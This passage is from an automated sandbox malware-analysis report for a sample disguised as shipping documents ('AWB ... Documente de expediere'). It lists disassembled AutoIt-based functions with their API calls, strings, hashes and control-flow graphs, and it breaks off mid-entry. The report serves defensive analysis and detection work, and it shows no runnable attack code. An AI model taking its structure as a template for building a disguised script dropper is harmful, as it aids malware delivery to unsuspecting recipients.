                                                  • Part of subcall function 009A7BCC: _memmove.LIBCMT ref: 009A7C06
                                                • GetCurrentProcess.KERNEL32(?,00A2FAEC,00000000,00000000,?), ref: 009A4A9A
                                                • IsWow64Process.KERNEL32(00000000), ref: 009A4AA1
                                                • GetNativeSystemInfo.KERNELBASE(00000000), ref: 009A4AE7
                                                • FreeLibrary.KERNEL32(00000000), ref: 009A4AF2
                                                • GetSystemInfo.KERNEL32(00000000), ref: 009A4B23
                                                • GetSystemInfo.KERNEL32(00000000), ref: 009A4B2F
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: InfoSystem$Process$CurrentFreeLibraryNativeVersionWow64_memmove
                                                • String ID:
                                                • API String ID: 1986165174-0
                                                • Opcode ID: b18e0d1e5b4250f94fe641d3c1125f57aba0bf3176089ce5c8f75f0a3d0f280a
                                                • Instruction ID: 229fe13489fcc2203eef2bfe0f6e08d84e11822a08b70902a0e71400298334ec
                                                • Opcode Fuzzy Hash: b18e0d1e5b4250f94fe641d3c1125f57aba0bf3176089ce5c8f75f0a3d0f280a
                                                • Instruction Fuzzy Hash: 6C91D93198A7C0DECB31CB7885511AAFFF96F6A300F444DAED0C793B42D264A508D7A9
                                                Function 009A4E89 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 62COMMON
                                                Download Yara Rule

                                                Control-flow Graph

                                                • Executed
                                                • Not Executed
                                                control_flow_graph 1063 9a4e89-9a4ea1 CreateStreamOnHGlobal 1064 9a4ea3-9a4eba FindResourceExW 1063->1064 1065 9a4ec1-9a4ec6 1063->1065 1066 9a4ec0 1064->1066 1067 9dd933-9dd942 LoadResource 1064->1067 1066->1065 1067->1066 1068 9dd948-9dd956 SizeofResource 1067->1068 1068->1066 1069 9dd95c-9dd967 LockResource 1068->1069 1069->1066 1070 9dd96d-9dd98b 1069->1070 1070->1066
                                                APIs
                                                • CreateStreamOnHGlobal.COMBASE(00000000,00000001,?,?,?,?,?,009A4D8E,?,?,00000000,00000000), ref: 009A4E99
                                                • FindResourceExW.KERNEL32(?,0000000A,SCRIPT,00000000,?,?,009A4D8E,?,?,00000000,00000000), ref: 009A4EB0
                                                • LoadResource.KERNEL32(?,00000000,?,?,009A4D8E,?,?,00000000,00000000,?,?,?,?,?,?,009A4E2F), ref: 009DD937
                                                • SizeofResource.KERNEL32(?,00000000,?,?,009A4D8E,?,?,00000000,00000000,?,?,?,?,?,?,009A4E2F), ref: 009DD94C
                                                • LockResource.KERNEL32(009A4D8E,?,?,009A4D8E,?,?,00000000,00000000,?,?,?,?,?,?,009A4E2F,00000000), ref: 009DD95F
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: Resource$CreateFindGlobalLoadLockSizeofStream
                                                • String ID: SCRIPT
                                                • API String ID: 3051347437-3967369404
                                                • Opcode ID: 0f737a203b53fbc89ab9b5fcbfc814b3679432448d7885c2638a0edf03c2a3d7
                                                • Instruction ID: 4fc3eaa61ed0a1e9e70b6d532cd64b8c52cf680f2ab5398e4395e10df2a130c7
                                                • Opcode Fuzzy Hash: 0f737a203b53fbc89ab9b5fcbfc814b3679432448d7885c2638a0edf03c2a3d7
                                                • Instruction Fuzzy Hash: 51112E75240701BFD7218BA9EC49F677BBEFBC6B51F204678F40596250DBB1EC0286A0
                                                Function 009AFCE0 Relevance: 5.5, APIs: 3, Instructions: 1040COMMON
                                                Download Yara Rule
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: BuffCharUpper
                                                • String ID:
                                                • API String ID: 3964851224-0
                                                • Opcode ID: 4c55a76759ab866688e82323a22c12bc94754854de6557dd36ef5ca6a0823eba
                                                • Instruction ID: cb942f961bf6426e314293aeb03943d5f65da73cce959484a7ac1d796d63dea4
                                                • Opcode Fuzzy Hash: 4c55a76759ab866688e82323a22c12bc94754854de6557dd36ef5ca6a0823eba
                                                • Instruction Fuzzy Hash: 08926670A083418FD721DF29C580B6BB7E5BFC9314F14896DE88A8B262D775EC45CB92
                                                Function 00A0445A Relevance: 4.5, APIs: 3, Instructions: 25fileCOMMON
                                                Download Yara Rule
                                                APIs
                                                • GetFileAttributesW.KERNELBASE(?,009DE398), ref: 00A0446A
                                                • FindFirstFileW.KERNELBASE(?,?), ref: 00A0447B
                                                • FindClose.KERNEL32(00000000), ref: 00A0448B
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: FileFind$AttributesCloseFirst
                                                • String ID:
                                                • API String ID: 48322524-0
                                                • Opcode ID: 3241226fd177bb1cef64b3b6bdf84d30908a8d1ed7c7b9c80dde0e8879d33e9f
                                                • Instruction ID: ce3d5471e9cf123686c0dd419c2f0db8ebb61ad83e9e2f3546185e3517db69ec
                                                • Opcode Fuzzy Hash: 3241226fd177bb1cef64b3b6bdf84d30908a8d1ed7c7b9c80dde0e8879d33e9f
                                                • Instruction Fuzzy Hash: 1BE0D872410504AB8220EB7CFC0D4F9776CAE0A335F10473AF935C10D0F7745D019695
                                                Function 009AE6A0 Relevance: 2.4, Strings: 1, Instructions: 1102COMMON
                                                Download Yara Rule
                                                Strings
                                                • Variable must be of type 'Object'., xrefs: 009E3E62
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID:
                                                • String ID: Variable must be of type 'Object'.
                                                • API String ID: 0-109567571
                                                • Opcode ID: a4866c417dcf668afd461f2cc2f2b2c1a4b305097bf75dc623ca3925f8f0de46
                                                • Instruction ID: f1033c0f85963626c538e861abefac5c630f33b0bf31547d2fd4470317109548
                                                • Opcode Fuzzy Hash: a4866c417dcf668afd461f2cc2f2b2c1a4b305097bf75dc623ca3925f8f0de46
                                                • Instruction Fuzzy Hash: B2A28D74A00209CFCB24CF98C494AAEB7B6FF5A314F248469E906AB351D775ED42CBD1
                                                Function 009B09D0 Relevance: 57.3, APIs: 27, Strings: 5, Instructions: 1300windowsleeptimeCOMMON
                                                Download Yara Rule
                                                APIs
                                                • PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 009B0A5B
                                                • timeGetTime.WINMM ref: 009B0D16
                                                • PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 009B0E53
                                                • Sleep.KERNEL32(0000000A), ref: 009B0E61
                                                • LockWindowUpdate.USER32(00000000,?,?), ref: 009B0EFA
                                                • DestroyWindow.USER32 ref: 009B0F06
                                                • GetMessageW.USER32(?,00000000,00000000,00000000), ref: 009B0F20
                                                • Sleep.KERNEL32(0000000A,?,?), ref: 009E4E83
                                                • TranslateMessage.USER32(?), ref: 009E5C60
                                                • DispatchMessageW.USER32(?), ref: 009E5C6E
                                                • GetMessageW.USER32(?,00000000,00000000,00000000), ref: 009E5C82
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: Message$PeekSleepWindow$DestroyDispatchLockTimeTranslateUpdatetime
                                                • String ID: @COM_EVENTOBJ$@GUI_CTRLHANDLE$@GUI_CTRLID$@GUI_WINHANDLE$@TRAY_ID
                                                • API String ID: 4212290369-3242690629
                                                • Opcode ID: 357ace1e9501a10449776ca9e151a6472d24ce29c532b17782f9022c6da76cf7
                                                • Instruction ID: 147db673f1d8c4a69af0c5a44af5fd004e54701fbb6247f418043c9fb059b287
                                                • Opcode Fuzzy Hash: 357ace1e9501a10449776ca9e151a6472d24ce29c532b17782f9022c6da76cf7
                                                • Instruction Fuzzy Hash: ABB2CD70608781DFD725DF24C984BAAB7E8BFC5318F14492DE599872A1CB74EC85CB82
                                                Function 00A09155 Relevance: 19.8, APIs: 13, Instructions: 322fileCOMMON
                                                Download Yara Rule

                                                Control-flow Graph

                                                APIs
                                                  • Part of subcall function 00A08F5F: __time64.LIBCMT ref: 00A08F69
                                                  • Part of subcall function 009A4EE5: _fseek.LIBCMT ref: 009A4EFD
                                                • __wsplitpath.LIBCMT ref: 00A09234
                                                  • Part of subcall function 009C40FB: __wsplitpath_helper.LIBCMT ref: 009C413B
                                                • _wcscpy.LIBCMT ref: 00A09247
                                                • _wcscat.LIBCMT ref: 00A0925A
                                                • __wsplitpath.LIBCMT ref: 00A0927F
                                                • _wcscat.LIBCMT ref: 00A09295
                                                • _wcscat.LIBCMT ref: 00A092A8
                                                  • Part of subcall function 00A08FA5: _memmove.LIBCMT ref: 00A08FDE
                                                  • Part of subcall function 00A08FA5: _memmove.LIBCMT ref: 00A08FED
                                                • _wcscmp.LIBCMT ref: 00A091EF
                                                  • Part of subcall function 00A09734: _wcscmp.LIBCMT ref: 00A09824
                                                  • Part of subcall function 00A09734: _wcscmp.LIBCMT ref: 00A09837
                                                • DeleteFileW.KERNEL32(?,?,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001,?,?), ref: 00A09452
                                                • _wcsncpy.LIBCMT ref: 00A094C5
                                                • DeleteFileW.KERNEL32(?,?), ref: 00A094FB
                                                • CopyFileW.KERNELBASE(?,?,00000000,?,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001), ref: 00A09511
                                                • DeleteFileW.KERNEL32(?,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004), ref: 00A09522
                                                • DeleteFileW.KERNELBASE(?,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004), ref: 00A09534
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: File$Delete$_wcscat_wcscmp$__wsplitpath_memmove$Copy__time64__wsplitpath_helper_fseek_wcscpy_wcsncpy
                                                • String ID:
                                                • API String ID: 1500180987-0
                                                • Opcode ID: d3fe807ccfb1d075c93ea8f8c47a251f5a00d7f61af8ae19ff06d6b51990f519
                                                • Instruction ID: e66a3ce0cc23acf77c62758c9d0805b9ae5675edb3f43619ef41635dded559ca
                                                • Opcode Fuzzy Hash: d3fe807ccfb1d075c93ea8f8c47a251f5a00d7f61af8ae19ff06d6b51990f519
                                                • Instruction Fuzzy Hash: BEC13AB1D0021DAADF21DF95DD81EDFB7BDAF85300F0040AAF609E6192EB709A458F65
                                                Function 009A3015 Relevance: 19.3, APIs: 7, Strings: 4, Instructions: 71windowregistryCOMMON
                                                Download Yara Rule

                                                Control-flow Graph

                                                APIs
                                                • GetSysColorBrush.USER32(0000000F), ref: 009A3074
                                                • RegisterClassExW.USER32(00000030), ref: 009A309E
                                                • RegisterWindowMessageW.USER32(TaskbarCreated), ref: 009A30AF
                                                • InitCommonControlsEx.COMCTL32(?), ref: 009A30CC
                                                • ImageList_Create.COMCTL32(00000010,00000010,00000021,00000001,00000001), ref: 009A30DC
                                                • LoadIconW.USER32(000000A9), ref: 009A30F2
                                                • ImageList_ReplaceIcon.COMCTL32(000000FF,00000000), ref: 009A3101
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: IconImageList_Register$BrushClassColorCommonControlsCreateInitLoadMessageReplaceWindow
                                                • String ID: +$0$AutoIt v3 GUI$TaskbarCreated
                                                • API String ID: 2914291525-1005189915
                                                • Opcode ID: c5b9c256e3808bcbdb1f0001089d1dcce3ec1c0ab2bd17f5e6efad70e2a0f54d
                                                • Instruction ID: 4afee40295ed7082d3f4f097477b478d2f6f65bb54a8208d1b7a7b721cffb5a4
                                                • Opcode Fuzzy Hash: c5b9c256e3808bcbdb1f0001089d1dcce3ec1c0ab2bd17f5e6efad70e2a0f54d
                                                • Instruction Fuzzy Hash: 663124B1845349AFDB10CFE8E889AD9BBF0FB09310F14453AE590A62A0D3B50582CF91
                                                Function 009A3041 Relevance: 19.3, APIs: 7, Strings: 4, Instructions: 54windowregistryCOMMON
                                                Download Yara Rule

                                                Control-flow Graph

                                                APIs
                                                • GetSysColorBrush.USER32(0000000F), ref: 009A3074
                                                • RegisterClassExW.USER32(00000030), ref: 009A309E
                                                • RegisterWindowMessageW.USER32(TaskbarCreated), ref: 009A30AF
                                                • InitCommonControlsEx.COMCTL32(?), ref: 009A30CC
                                                • ImageList_Create.COMCTL32(00000010,00000010,00000021,00000001,00000001), ref: 009A30DC
                                                • LoadIconW.USER32(000000A9), ref: 009A30F2
                                                • ImageList_ReplaceIcon.COMCTL32(000000FF,00000000), ref: 009A3101
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: IconImageList_Register$BrushClassColorCommonControlsCreateInitLoadMessageReplaceWindow
                                                • String ID: +$0$AutoIt v3 GUI$TaskbarCreated
                                                • API String ID: 2914291525-1005189915
                                                • Opcode ID: 03c1e2d862b32f197012eefafa8304162e9960db78431a23eb385cd09ce0db87
                                                • Instruction ID: 44bbeb31b5016016ce3be4b980f63b8d4adc853b282a13c681da2a84d61915f9
                                                • Opcode Fuzzy Hash: 03c1e2d862b32f197012eefafa8304162e9960db78431a23eb385cd09ce0db87
                                                • Instruction Fuzzy Hash: E621BFB1D01218AFDB10DFE8E989BADBBF4FB08700F00413AFA10A62A0D7B145469F95
                                                Function 009A708B Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 201registryCOMMON
                                                Download Yara Rule

                                                Control-flow Graph

                                                APIs
                                                  • Part of subcall function 009A4706: GetModuleFileNameW.KERNEL32(00000000,?,00007FFF,00A652F8,?,009A37AE,?), ref: 009A4724
                                                  • Part of subcall function 009C050B: GetFullPathNameW.KERNEL32(?,00007FFF,?,?,?,?,009A7165), ref: 009C052D
                                                • RegOpenKeyExW.KERNELBASE(80000001,Software\AutoIt v3\AutoIt,00000000,00000001,?,?,\Include\), ref: 009A71A8
                                                • RegQueryValueExW.ADVAPI32(?,Include,00000000,00000000,00000000,?), ref: 009DE8C8
                                                • RegQueryValueExW.ADVAPI32(?,Include,00000000,00000000,?,?,00000000), ref: 009DE909
                                                • RegCloseKey.ADVAPI32(?), ref: 009DE947
                                                • _wcscat.LIBCMT ref: 009DE9A0
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: NameQueryValue$CloseFileFullModuleOpenPath_wcscat
                                                • String ID: Include$Software\AutoIt v3\AutoIt$\$\Include\
                                                • API String ID: 2673923337-2727554177
                                                • Opcode ID: d27fb73f8f65e5dc270e8d209a15f0e1bdeaa178214a60fff840eb139a7ef3c4
                                                • Instruction ID: 41a3daf8d58104c49cd93f615a812da0dcf8bc774bde30f24b9ae1284b4b8a68
                                                • Opcode Fuzzy Hash: d27fb73f8f65e5dc270e8d209a15f0e1bdeaa178214a60fff840eb139a7ef3c4
                                                • Instruction Fuzzy Hash: 61716F719093019EC704EFB5EC52AABBBF8FF95350F40492EF445872A0DBB19949CB92
                                                Function 009A3A46 Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 71windowregistryCOMMON
                                                Download Yara Rule

                                                Control-flow Graph

                                                APIs
                                                • GetSysColorBrush.USER32(0000000F), ref: 009A3A50
                                                • LoadCursorW.USER32(00000000,00007F00), ref: 009A3A5F
                                                • LoadIconW.USER32(00000063), ref: 009A3A76
                                                • LoadIconW.USER32(000000A4), ref: 009A3A88
                                                • LoadIconW.USER32(000000A2), ref: 009A3A9A
                                                • LoadImageW.USER32(00000063,00000001,00000010,00000010,00000000), ref: 009A3AC0
                                                • RegisterClassExW.USER32(?), ref: 009A3B16
                                                  • Part of subcall function 009A3041: GetSysColorBrush.USER32(0000000F), ref: 009A3074
                                                  • Part of subcall function 009A3041: RegisterClassExW.USER32(00000030), ref: 009A309E
                                                  • Part of subcall function 009A3041: RegisterWindowMessageW.USER32(TaskbarCreated), ref: 009A30AF
                                                  • Part of subcall function 009A3041: InitCommonControlsEx.COMCTL32(?), ref: 009A30CC
                                                  • Part of subcall function 009A3041: ImageList_Create.COMCTL32(00000010,00000010,00000021,00000001,00000001), ref: 009A30DC
                                                  • Part of subcall function 009A3041: LoadIconW.USER32(000000A9), ref: 009A30F2
                                                  • Part of subcall function 009A3041: ImageList_ReplaceIcon.COMCTL32(000000FF,00000000), ref: 009A3101
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: Load$Icon$ImageRegister$BrushClassColorList_$CommonControlsCreateCursorInitMessageReplaceWindow
                                                • String ID: #$0$AutoIt v3
                                                • API String ID: 423443420-4155596026
                                                • Opcode ID: 20d9a1bc50a9d5355ac9230abb0f57d1153f00d0c9e400215955b3efdb397aae
                                                • Instruction ID: 985c2cf870bf85f46caf3262937ee8cb24f79d3e3be404a26bd3c3017e5bf14e
                                                • Opcode Fuzzy Hash: 20d9a1bc50a9d5355ac9230abb0f57d1153f00d0c9e400215955b3efdb397aae
                                                • Instruction Fuzzy Hash: EF2135B0D00308AFEB21DFF8EC19BAD7BB4EB09711F00412AF504AA2A1D3F556428F84
                                                Function 009A3633 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 151windowtimeregistryCOMMON
                                                Download Yara Rule

                                                Control-flow Graph

                                                • Executed
                                                • Not Executed
                                                control_flow_graph 767 9a3633-9a3681 769 9a3683-9a3686 767->769 770 9a36e1-9a36e3 767->770 771 9a3688-9a368f 769->771 772 9a36e7 769->772 770->769 773 9a36e5 770->773 774 9a374b-9a3753 PostQuitMessage 771->774 775 9a3695-9a369a 771->775 777 9dd0cc-9dd0fa call 9b1070 call 9b1093 772->777 778 9a36ed-9a36f0 772->778 776 9a36ca-9a36d2 DefWindowProcW 773->776 784 9a3711-9a3713 774->784 782 9dd154-9dd168 call a02527 775->782 783 9a36a0-9a36a2 775->783 785 9a36d8-9a36de 776->785 813 9dd0ff-9dd106 777->813 779 9a36f2-9a36f3 778->779 780 9a3715-9a373c SetTimer RegisterWindowMessageW 778->780 786 9dd06f-9dd072 779->786 787 9a36f9-9a370c KillTimer call 9a443a call 9a3114 779->787 780->784 789 9a373e-9a3749 CreatePopupMenu 780->789 782->784 806 9dd16e 782->806 790 9a36a8-9a36ad 783->790 791 9a3755-9a375f call 9a44a0 783->791 784->785 799 9dd0a8-9dd0c7 MoveWindow 786->799 800 9dd074-9dd076 786->800 787->784 789->784 795 9dd139-9dd140 790->795 796 9a36b3-9a36b8 790->796 807 9a3764 791->807 795->776 802 9dd146-9dd14f call 9f7c36 795->802 804 9a36be-9a36c4 796->804 805 9dd124-9dd134 call a02d36 796->805 799->784 808 9dd078-9dd07b 800->808 809 9dd097-9dd0a3 SetFocus 800->809 802->776 804->776 804->813 805->784 806->776 807->784 808->804 814 9dd081-9dd092 call 9b1070 808->814 809->784 813->776 818 9dd10c-9dd11f call 9a443a call 9a434a 813->818 814->784 818->776
                                                APIs
                                                • DefWindowProcW.USER32(?,?,?,?), ref: 009A36D2
                                                • KillTimer.USER32(?,00000001), ref: 009A36FC
                                                • SetTimer.USER32(?,00000001,000002EE,00000000), ref: 009A371F
                                                • RegisterWindowMessageW.USER32(TaskbarCreated), ref: 009A372A
                                                • CreatePopupMenu.USER32 ref: 009A373E
                                                • PostQuitMessage.USER32(00000000), ref: 009A374D
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: MessageTimerWindow$CreateKillMenuPopupPostProcQuitRegister
                                                • String ID: TaskbarCreated
                                                • API String ID: 129472671-2362178303
                                                • Opcode ID: 4c3deb00e814145ea56618ff73ccc8cde57be681ecb941e8d1afe15010d62a00
                                                • Instruction ID: 2847a879176aeb323bdefc8663422b79e18d19f99e600050f827bae118257888
                                                • Opcode Fuzzy Hash: 4c3deb00e814145ea56618ff73ccc8cde57be681ecb941e8d1afe15010d62a00
                                                • Instruction Fuzzy Hash: FA4169B1600505BFDB24AFB8DC0ABB937BDEB46300F108539F502963B1DAA59E4697E1
                                                Function 009A3766 Relevance: 14.3, APIs: 1, Strings: 7, Instructions: 267COMMON
                                                Download Yara Rule

                                                Control-flow Graph

                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
